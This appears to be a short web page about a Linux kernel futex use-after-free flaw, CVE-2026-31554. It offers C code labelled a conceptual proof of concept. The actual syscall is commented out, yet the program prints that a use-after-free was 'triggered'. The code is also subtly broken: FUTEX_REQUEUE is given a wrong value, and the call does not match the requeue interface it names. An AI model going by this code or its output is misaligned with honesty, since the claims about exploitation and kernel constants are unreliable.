CVE-2026-31554 Linux内核futex组件UaF漏洞

#include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/futex.h> #include <stdint.h> // Conceptual PoC for CVE-2026-31554 // Demonstrates the logic of triggering the bug with mismatched flags #define FUTEX_PRIVATE_FLAG 128 #define FUTEX_REQUEUE 13 int main() { uint32_t futex1 = 0; uint32_t futex2 = 0; int flags1 = FUTEX_PRIVATE_FLAG; int flags2 = 0; // Use different flags to trigger the bug printf("[*] Triggering sys_futex_requeue with mismatched flags...\n"); // In a real scenario, this would involve setting up waiters // and then calling the syscall to induce the UaF condition. // syscall(SYS_futex, &futex1, FUTEX_REQUEUE | flags1, 1, 0, &futex2, flags2); // This is a placeholder for the exploitation logic. printf("[!] Potential UaF triggered.\n"); return 0; }